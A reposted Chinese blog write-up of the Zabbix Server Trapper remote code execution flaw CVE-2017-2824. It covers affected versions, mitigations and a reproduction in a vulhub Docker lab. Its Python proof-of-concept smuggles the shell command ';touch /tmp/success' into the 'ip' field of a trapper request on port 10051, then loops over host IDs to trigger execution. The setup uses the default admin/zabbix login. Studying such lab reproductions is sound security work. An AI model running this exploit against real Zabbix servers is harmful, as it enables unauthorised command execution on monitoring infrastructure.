Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)
source link: https://blog.51cto.com/Jach1n/5373243
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)
原创Zabbix Server是拉脱维亚Zabbix SIA公司的一套应用于服务器端的开源的监控系统。该系统可监视各种网络参数,并提供通知机制让系统管理员快速定位、解决存在的各种问题。Zabbix Server 2.4.X版本中的trapper command功能存在远程代码执行漏洞。恶意人员可远程利用该漏洞注入命令,执行代码。
- Zabbix 2.4.7 - 2.4.8r1
- 删除Zabbix数据库中的默认脚本条目,数据库操作 SQL为: use zabbix; delete * from scripts;
- 及时安装官方补丁升级
使用vulhub中的漏洞环境进行测试
docker-compose up -d
docker ps
使用poc进行验证
验证前需要登录到zabbix开启自动注册功能,直接使用poc的话无法验证
访问zabbix登录界面,使用默认账号密码进行登录admin/zabbix
在Configuration-Actions下选择Auto registration,然后Create action
然后设置一个名称,然后选择Operations
选择Add-Add host,选择完成后,点击下方的Add添加后,再点击蓝色的Add,即可创建成功
在该漏洞目录下,提供了该漏洞的利用方法README.md和利用脚本exploit.py
poc如下:
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
在poc中的10051为docker中zabbix-server的映射端口
通过docke ps查看映射端口,需根据实际情况更改
目标的ip无需在poc中设置
使用poc进行验证,后面的ip地址为目标ip地址
可能会失败很多次,最后也是通过反复重启镜像后才验证成功的
成功后进入docker的zabbix-server镜像内部
在tmp下找到了创建的success文件
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK